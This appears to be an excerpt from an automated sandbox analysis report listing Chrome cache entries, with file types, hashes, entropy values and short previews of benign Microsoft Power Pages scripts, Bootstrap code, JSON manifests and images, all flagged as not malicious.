Preview:	.PNG........IHDR..............2.....pHYs.................sRGB.........gAMA......a.....IDATx...... ...(./K vd........v........!.`?p.......]'g.."...,6%..`gC..%`s.$"..<...=....e..4X.._kQ...e..h.-.}...3=.e/.D..C....ob41.x.....IEND.B`.

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42815)
Category:	dropped
Size (bytes):	42864
Entropy (8bit):	5.18912803360478
Encrypted:	false
SSDEEP:	768:cKaapCJogCmlh9gCChh6FGdN9cjX26TcsJH3zvkrekD7Sfzum1N5a0Y8tR:cKrqmAGdl6dHDvtkD41NED8tR
MD5:	197395E90DC9729F818EA9939E9C0F02
SHA1:	44AB2D06F60067EDD19EDFC7150C4D8FF144BEB2
SHA-256:	E82600ABB85B8F5E55BC120B8FBA82ACD57C533C97FD6B843AD31FC75A255F56
SHA-512:	1E4D7849F1E305BD8095BB25BE4F891C45A91E573071542A4FBE5E1FA3AB37D04CD59902781C328F04BA309F23F94DC7823A3D0CC864D9658E74C78C4E913466
Malicious:	false
Reputation:	low
Preview:	(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[170],{4170:(e,t,n)=>{"use strict";n.r(t),n.d(t,{ActionMethodsWithConfig:()=>Ce,Canvas:()=>G,CoreEventHandlers:()=>ge,DefaultEventHandlers:()=>Ee,DerivedCoreEventHandlers:()=>me,Editor:()=>Ae,Element:()=>W,Events:()=>xe,Frame:()=>V,NodeElement:()=>B,NodeHelpers:()=>de,NodeProvider:()=>f,NodeSelectorType:()=>X,QueryMethods:()=>ye,ROOT_NODE:()=>r.e3,connectEditor:()=>Z,connectNode:()=>ee,createTestNodes:()=>qe,createTestState:()=>Me,defaultElementProps:()=>H,deprecateCanvasComponent:()=>$,editorInitialState:()=>we,elementPropToNodeData:()=>U,expectEditorState:()=>Le,serializeNode:()=>se,useEditor:()=>K,useEditorStore:()=>Te,useEventHandler:()=>I,useNode:()=>M});var r=n(9448),o=n(1646),a=n.n(o),i=n(9541),s=n(9680),d=n.n(s),c=n(3037),u=n.n(c);const l=a().createContext(null),f=({id:e,related:t=!1,children:n})=>a().createElement(l.Provider,{value:{id:e,related:t}},n);function p(e,t){var n=Obje

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	downloaded
Size (bytes):	116345
Entropy (8bit):	7.997378915283506
Encrypted:	true
SSDEEP:	3072:svJ27JKT4KNXDBEeFUNHE/7SVxX7RLTMMqfC4:L7KPDBEeF2HE+J5AMqfC4
MD5:	7570EB58C2BCE45B24EA431EB15D27B5
SHA1:	0DE0A6616E6BF7B045CFC456E4E3DF6760617CFA
SHA-256:	5AEE6747482DFC52A669CAED6BE1B9319536AC9514C2D7354B879F093ABB212A
SHA-512:	696D4C3765DA2936461D15C89A41F98EDED30F202C422143D921D6096D7DD6456479F48B1065398323F7DFE60B5D3452B0C3C67DD01EE041E51CFBCA9125D86D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_510f960da65b56e0607c.js
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,..O.b>.6-......c7.}.yp.c5.R6p..E...z3.......y7.d.M..K...n.h...OX.&..d.[/...ng.S.Ae..D<.GAe..&.^7......'..b...#..X..q....O.~W.M3.+b..m.>&^t.O..I.LU.;..a....&.k.$...{.{.^.....3OX.Oy8O...f.%..o..]..9....Ln-...'.....A.3y..v=l....G......i..../...--k...p..m..Y........XV...i.......;.o..zyc@..MLoy.b_.,.....5..w=..#.^..M.P.'<_.j...m..\|......0...w../...>\...l.>.....h...q>.w...ZM[...

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Reputation:	low
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (967)
Category:	downloaded
Size (bytes):	4134
Entropy (8bit):	5.29650274014092
Encrypted:	false
SSDEEP:	96:1P/Pz9qOgLCe7Ngo4XGHQEDH9Hv6j7Ct9gIt+Iccf/y3SI8V9B4pT28WCV:bqtXxgo4XGHtHv6j7s9tzy3WzW
MD5:	7A2EF769677E18EAD3D12FAE8D4115D0
SHA1:	AA4CEE6B17E340F9115A15FA5D4C955A570A9D9A
SHA-256:	5F2DC19AAE1F3EB6725226ED863F8259B6EB12A0916D75D44C29313DE631E4D8
SHA-512:	28E390C3219585FE10BB0E3ED87771EBBFBCC375E04B6AC96687663EDE67232F09A5C6A9816C23C9CBE77C59DEC99BE7075365A51AD5FEAC6E0A3085333817BB
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/753.68a8bfd654.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[753],{6753:(t,e,n)=>{n.r(e),n.d(e,{usePagesStore:()=>f});var o=n(2487),r=n(3954),a=n(6064);const{useSyncExternalStoreWithSelector:u}=a;let s=!1;const i=t=>{"function"!=typeof t&&console.warn("[DEPRECATED] Passing a vanilla store will be unsupported in a future version. Instead use `import { useStore } from 'zustand'`.");const e="function"==typeof t?(0,o.createStore)(t):t,n=(t,n)=>function(t,e=t.getState,n){n&&!s&&(console.warn("[DEPRECATED] Use `createWithEqualityFn` instead of `create` or use `useStoreWithEqualityFn` instead of `useStore`. They can be imported from 'zustand/traditional'. https://github.com/pmndrs/zustand/discussions/1937"),s=!0);const o=u(t.subscribe,t.getState,t.getServerState\|\|t.getState,e,n);return(0,r.useDebugValue)(o),o}(e,t,n);return Object.assign(n,e),n},c=t=>t?i(t):i;var l=n(3768);./!. Copyright (C) Microsoft Corporation. All rights re

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (25293)
Category:	downloaded
Size (bytes):	43107
Entropy (8bit):	5.26903329129244
Encrypted:	false
SSDEEP:	768:jYsYjb/IQVTJp8tisbmc4cTcgjOjwc+2eV5G5c5qG2zucf:07IQVeruV
MD5:	805A1661B77834F61B0C8E1175DC9F90
SHA1:	38E8EEB48DF5906F796E4C9A4549DFBF0327D656
SHA-256:	B37275F7C7F76430F05A20E7D0DDDAC3649467DBC0E7AF58CC3F04B1EE6DEA81
SHA-512:	45004F96FB51B09AC26A409CA1BE79E48568026B1DEE9F0C55B6E5BB2958820AB96B3F6B5649E1BC7289D8E5D64334EA3882D7248926FE532AC7C7F2A7595142
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/pcf-dependency.bundle-805a1661b7.js
Preview:	(function(e){if(typeof exports==="object"&&typeof module!=="undefined"){module.exports=e()}else if(typeof define==="function"&&define.amd){define([],e)}else{var t;if(typeof window!=="undefined"){t=window}else if(typeof global!=="undefined"){t=global}else if(typeof self!=="undefined"){t=self}else{t=this}t.PropTypes=e()}})(function(){var e,t,r;return function i(a,u,c){function f(r,e){if(!u[r]){if(!a[r]){var t=typeof require=="function"&&require;if(!e&&t)return t(r,!0);if(s)return s(r,!0);var n=new Error("Cannot find module '"+r+"'");throw n.code="MODULE_NOT_FOUND",n}var o=u[r]={exports:{}};a[r][0].call(o.exports,function(e){var t=a[r][1][e];return f(t?t:e)},o,o.exports,i,a,u,c)}return u[r].exports}var s=typeof require=="function"&&require;for(var e=0;e<c.length;e++)f(c[e]);return f}({1:[function(e,t,r){./*. Copyright (c) 2013-present, Facebook, Inc.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */."use

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 10 x 10, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	237
Entropy (8bit):	6.43867499964275
Encrypted:	false
SSDEEP:	6:6v/lhPUg/6TsR/4x3zZeu9HsFImSAtIn4Y7FdLLZChrT8up:6v/7t/6Ts/qzMW5mtIn4wmRZ
MD5:	74710B068526106916E5A9AE5B70FA64
SHA1:	2E7344458A5EB6EFB65976EE144BBEDBA680B5AC
SHA-256:	55B9B171BB9BC15ACDD21C7A186E1268BC774B6A7C5A6FBC2F2BFEE564890325
SHA-512:	6D66F49A52C8A4E0EEB0C4F67DC85CAFEE5C2F8716E8E80EB5BE6C266F4E7CFC161EA5B0937A383BA13B1DD5B97742D70FA9630A502F87BE622FF0512BA63047
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............2.....pHYs.................sRGB.........gAMA......a.....IDATx...... ...(./K vd........v........!.`?p.......]'g.."...,6%..`gC..%`s.$"..<...=....e..4X.._kQ...e..h.-.}...3=.e/.D..C....ob41.x.....IEND.B`.

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	8462
Entropy (8bit):	4.565107591158701
Encrypted:	false
SSDEEP:	96:tG20G2wGTkG9GsGxGwGJGrwGUG3GAGnGVG0GTGGGFG8GvGnFrG+7GBG2GSGrG2G4:fjFBxHnf
MD5:	320C8BE42A19CB9DF6A5011CC4E1BC6D
SHA1:	2EEC673BEFEAE800B601D970B4A0E4CA46FABA93
SHA-256:	16201845D54E6F4B48E3CBBC60B835FD7B3D31284F4D1F63BD959EE4A09986F5
SHA-512:	320AC75BC1086DC25EFE8D2CA2AD2F35A2DDA9250AE00C18451CCD0EE02F52F7DD40657218CCD908A2010E0C5AA812E85E54C071097AAEECAC7DA962D5E7F6C3
Malicious:	false
Reputation:	low
Preview:	{. "Avatar": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./Avatar". },. "AvatarGroup": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./AvatarGroup". },. "Badge": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./Badge". },. "CounterBadge": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./CounterBadge". },. "PresenceBadge": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",. "control": "./PresenceBadge". },. "Button": {. "library": "controls_fluent_v9",. "remoteEntry": "/controls_fluent_v9/remoteEntry.2686c94f51.js",.

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1200 x 1173, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	69481
Entropy (8bit):	7.870551123654447
Encrypted:	false
SSDEEP:	1536:CLWfnnRL/DXLpeBA8hOVZL9JQy4LN8XaZGGBm7M:7fnRbp2OPLt4LNCGBt
MD5:	54CEBB5E1827D5F83B2D6449D429772F
SHA1:	E87CFA17317FCFA6C8E930AE2A87C3E39055E896
SHA-256:	8FE6E5EEC412B46C73DE12B3DF837F59E9AE1156CB86E4B1B7021F0359186E81
SHA-512:	AA705550BD0185778AFDBA22BA2741E82EFF6EDBEFFF4B29BCFF89D84E559C3C31AE7AAC9A419A6FA763BBCFC98FF38AB9EC85C5010143710AF31D2B4A4ECDB2
Malicious:	false
Reputation:	low
URL:	https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg/1200px-Microsoft_Office_SharePoint_%282019%E2%80%93present%29.svg.png
Preview:	.PNG........IHDR..............@'J....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD..............tIME.....$(........IDATx...w..U......{..SOz.$...,4.E.&U1H.I....z.........H(&..P..QT..X." .C ...N..{...RNr.9g.......R..y.5k}2.s.....}../..Pl..RK...5..J.....5[.:..J..l.......7V..r.i.......=.%....]+..J.LQ..elQ.[/c;e..X.>.F..c.Fv..{9....5....7....$1D...2i..r.r.FX..V...`.5..y.%;D.p...Lu..~..^...%.^7.Y.....}...o_Qs.k....b...q......i.....`B`.....5..g.....)i(!..JZ..e.,5..X.1..O.s..~N...#&...6.X.. .f.h.).......Vv.d&J.(...".yV.>k.g....s.[.Oi..........X...}g.......L5.v.VS%......Ts.d.....y.3z......V...........3::r.7.N.`.c...jwI.H.L8....c..6x.d..4..Yut.D...zB.....c.\|.P.[ .).{Hf.I.J.!...Z/O...!.<.........Q$...@....Dc..v...2..e....?...=.%..X....K.t.....b.. {(`....5.W.........O2......d....[{w....xK..........n..\.f...@c.a..Dg.....O2...M.......@.P....}wzGu.n.2.V...}$.....$k.....(.j..7...H>.X...<g....:L.a...2j .$.FI............$...........W

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	278783
Entropy (8bit):	5.189150012251837
Encrypted:	false
SSDEEP:	3072:05uV+wk0Vs2Ocv6TUtzVm+sssBnIc9k6HVPIm5dcj6+3S3fKC0:CuV+wkMV0LBnB1Vwm5MLN
MD5:	3C181C74CE7549815433A33A56FDF280
SHA1:	FA83EFBB876F7BD22C0C011BBCCD0019F484D9B4
SHA-256:	3ECB3CED51DFEEACBEBD2EF5E0FCD5A6F86246F7493D4D8F3101B7D6726C473C
SHA-512:	AC7F990DDA90940D6266840AFCDF3053C59B5D9613FB7D080BD818DCA0277127F62E7F7EFA8B43A84E013E9FD47E962E872A98FC3AA7F06C082CD36AD377E1AB
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/app.BootstrapV5.bundle-3c181c74ce.js
Preview:	(function(w){function c(e){this._element=w(e);this._target=this._element.data("bsTarget")\|\|{};this._attachmentSettings=this._element.data("attachmentsettings");this._serviceUrlGet=this._element.attr("data-url-get");this._serviceUrlAdd=this._element.attr("data-url-add");this._serviceUrlEdit=this._element.attr("data-url-edit");this._serviceUrlDelete=this._element.attr("data-url-delete");this._serviceUrlGetAttachments=this._element.attr("data-url-get-attachments");this._serviceUrlGetAttachmentsCount=this._element.attr("data-url-get-attachments-count");this._hideFieldLabel=this._element.attr("data-hide-field-label");this._attachmentAcceptTypes=this._element.attr("data-add-accept-types");this._addEnabled=this._element.data("add-enabled");this._editEnabled=this._element.data("edit-enabled");this._deleteEnabled=this._element.data("delete-enabled");this._isRTEEnabled=this._element.data("rte-enabled");this._isTimeLine=this._element.data("is-timeline");this._pageSize=this._element.attr("data-pag

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65294), with CRLF line terminators
Category:	dropped
Size (bytes):	92085
Entropy (8bit):	5.011925941956388
Encrypted:	false
SSDEEP:	1536:aN+LmIeHetKRe5YLbM/0o1u9YK9hwlS1FN8DVrryzoosZZwjb6jpmoXDIWPIvjXa:sIeK17ljFZZwjb6jpmoXDIWPgb+0Le
MD5:	BE8391E97DEA755C86C38DB4E43773D8
SHA1:	3E573E059A8C52A1B7063895562F6A23261F54A0
SHA-256:	BBB5F1A1DF8E94BE934B438B99E27173F2EC270005C7ABE07204BFE0DD64B134
SHA-512:	AB51CA9BDE0B02A96E34F1B1FEC7B8B5D3B688431C9ECF8EE26308E578A952EED1A067CFA8C09433645AD7FC287E72C09E2EF9B72724616F877B5915AD7D2056
Malicious:	false
Reputation:	low
Preview:	/!.. Bootstrap v5.2.2 (https://getbootstrap.com/).. * Copyright 2011-2022 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors).. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE).. */..!function (t, e) { "object" == typeof exports && "undefined" != typeof module ? module.exports = e() : "function" == typeof define && define.amd ? define(e) : (t = "undefined" != typeof globalThis ? globalThis : t \|\| self).bootstrap = e() }(this, (function () { "use strict"; const t = "transitionend", e = t => { let e = t.getAttribute("data-bs-target"); if (!e \|\| "#" === e) { let i = t.getAttribute("href"); if (!i \|\| !i.includes("#") && !i.startsWith(".")) return null; i.includes("#") && !i.startsWith("#") && (i = `#${i.split("#")[1]}`), e = i && "#" !== i ? i.trim() : null } return e }, i = t => { const i = e(t); return i && document.querySelector(i) ? i : null }, n = t => { const i = e(t); return i ? document.querySelector(i) : null }, s = e => {

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	555
Entropy (8bit):	4.7402101876487
Encrypted:	false
SSDEEP:	12:TjeRHVIdtklI5rITNGlTF5TF5TF5TF5TF5TFK:neRH68TATPTPTPTPTPTc
MD5:	8AA18BA264C6C92EBCD3B139DC331066
SHA1:	D782616F9D7C0A67046D3B7CB7E8C62E59A020FE
SHA-256:	81A99BB0A361CE314FC22BC85AE7CF060DB01BA71B82C5C135FC32548E81954E
SHA-512:	694A3E4E884627F2ADC4ADFCDCD312DDD24DC715C259CED8DD0659245C775A4A3BDEB26CD857914CD686A26714D551F13A698BE2B525DC81C82633509806D595
Malicious:	false
Reputation:	low
URL:	https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/favicon.ico
Preview:	<html>..<head><title>404 Not Found</title></head>..<body>..<center><h1>404 Not Found</h1></center>..<hr><center>nginx/1.26.1</center>..</body>..</html>.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->.. a padding to disable MSIE and Chrome friendly error page -->..

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 190152
Category:	downloaded
Size (bytes):	61052
Entropy (8bit):	7.996159932827634
Encrypted:	true
SSDEEP:	1536:HQaq1Q7XOos5ZBIp+1Zr52IGmCJijm1qAxTe9wzf:fq1HoUBIpU5TG7JSmwuTe+b
MD5:	C1E82BF71ADD622AD0F3BF8572F634FC
SHA1:	6CA863D4CAB96669202548D301693B3F5F80B0D5
SHA-256:	BA48AF15D297DB450DC4870242482145ADDB2D18375A4871C490429E2DC5464A
SHA-512:	820A7F8A0C8EA33A8FE1E90CDC35F45DC1E143E836B0D8EA047E1E312F8CAEC72CDEE4E7DB54760A4D749CD0ACFE103A27E39A9A56EB2D704E448A67B0D0C079
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	...........iw.F.0.....'W...4)/qH#..D.L.EK...................().}.{..@.z........Qz.,..Ox.....i4..S.&.p......9..W....);a.].a....Y......Y<,.n..."`Is....5....P..\|.-..x1.F...@...yRlG.O..5.Q.\|.gy.c.^....r.EC.....xd.oL..$./..\|3.......r^.j.}...M... )x.D.....%.....B..t....vZ....2L......px.G.1..lZYh...$.....,.../.a..;Q...._..#.....e.T.:trA_.0.:.f...........(I.x?.S...<7...o..0.`r.x.+.2..o+...4/..vzY7.C'.....!.r..4n....]P.+a..........._.8,..G>...{.4B....o.9.....r......X3..U.....'.0.@...lrX....r.W\e...].}....(.l......=........3....S..........^=D..[.zw6..e...<WQ.w.(.X..S....>.^.....^B..O-.(..U.R;h..v.......4.Dc .?..z....r.._.Y......M.a.?,...?..U.....OF.w\h$.Q..5....Q.Oj ....5U..8..Y......gYZM....y..OrY.z]B..y..;o.....oT.r...H..{K...Y&Q.........W....N4.......].0m..m........E.bc..~..e.. .nzS.i3^......).,Y}.=1H...... V...g.)....X..G...C....@o,.i.~...as...ehEH....u9l.2...y\J.?.(.I.q%..F#..D../>pr$...,...m.6..:,<s..~S.fl;k.'<..}z.Y.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1352
Entropy (8bit):	4.49649668424402
Encrypted:	false
SSDEEP:	24:aj84C0Jj848QJ3j84IJgJj84yQoj84DzXj84+Vuj84y6giYj843A:cvbFv88zvUgFvyFvDvRvOBvw
MD5:	76167CAA7E3FD19E1D5684ED58434C7E
SHA1:	24EEA8841EE197B894382B75420D7B9893D0D0B7
SHA-256:	FFFF5534CABFD94B388E8C9311FECCFDFD4A767D007C5C56D19ADC78DE5F10C4
SHA-512:	15E56EF8E7BFD00EA715039E2D8977336F06B8C6970D3357F284AF375F40D41EBDF697B4AA74D60689B93604FC8ABFFCAD579F84E68D3DA1BD99D664FCD42B69
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/pcf_controls/manifest-3.2.6.json
Preview:	{. "Gallery": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./Gallery". },. "GalleryWrapped": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./GalleryWrapped". },. "SearchSummary": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./SearchSummary". },. "SearchSummaryWrapped": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./SearchSummaryWrapped". },. "SummaryControl": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./SummaryControl". },. "FormAssistant": {. "library": "pcf_controls",. "remoteEntry": "/pcf_controls/remoteEntry.8aeb3f85e4.js",. "control": "./FormAs

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	278783
Entropy (8bit):	5.189150012251837
Encrypted:	false
SSDEEP:	3072:05uV+wk0Vs2Ocv6TUtzVm+sssBnIc9k6HVPIm5dcj6+3S3fKC0:CuV+wkMV0LBnB1Vwm5MLN
MD5:	3C181C74CE7549815433A33A56FDF280
SHA1:	FA83EFBB876F7BD22C0C011BBCCD0019F484D9B4
SHA-256:	3ECB3CED51DFEEACBEBD2EF5E0FCD5A6F86246F7493D4D8F3101B7D6726C473C
SHA-512:	AC7F990DDA90940D6266840AFCDF3053C59B5D9613FB7D080BD818DCA0277127F62E7F7EFA8B43A84E013E9FD47E962E872A98FC3AA7F06C082CD36AD377E1AB
Malicious:	false
Reputation:	low
Preview:	(function(w){function c(e){this._element=w(e);this._target=this._element.data("bsTarget")\|\|{};this._attachmentSettings=this._element.data("attachmentsettings");this._serviceUrlGet=this._element.attr("data-url-get");this._serviceUrlAdd=this._element.attr("data-url-add");this._serviceUrlEdit=this._element.attr("data-url-edit");this._serviceUrlDelete=this._element.attr("data-url-delete");this._serviceUrlGetAttachments=this._element.attr("data-url-get-attachments");this._serviceUrlGetAttachmentsCount=this._element.attr("data-url-get-attachments-count");this._hideFieldLabel=this._element.attr("data-hide-field-label");this._attachmentAcceptTypes=this._element.attr("data-add-accept-types");this._addEnabled=this._element.data("add-enabled");this._editEnabled=this._element.data("edit-enabled");this._deleteEnabled=this._element.data("delete-enabled");this._isRTEEnabled=this._element.data("rte-enabled");this._isTimeLine=this._element.data("is-timeline");this._pageSize=this._element.attr("data-pag

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4807
Entropy (8bit):	4.941343369031878
Encrypted:	false
SSDEEP:	96:+/dEWd/fIdnKK6nKLkAXnKwnnKUUBiz3QNeVKpMmT0IB:qdXd/AdnKK6nK4InKwnnKUUBiQeVKpME
MD5:	633E70F51B5C0319AF3ACF16EC1AE7B6
SHA1:	D28238721914C98998ACC0485CCEBF230F01A520
SHA-256:	FB076F7948CA70EB1F51334FE4C473C40BBE3BCEB105981C482BB8634FF98081
SHA-512:	1509681E13367F0264CC341C1752B9EF7FFE0714098615282DB2B3688C24AF50D1052421DD606FCFCF942C0BE2D59B7694FA59150923F427FCD807530C56998A
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/client-telemetry-wrapper.bundle-633e70f51b.js
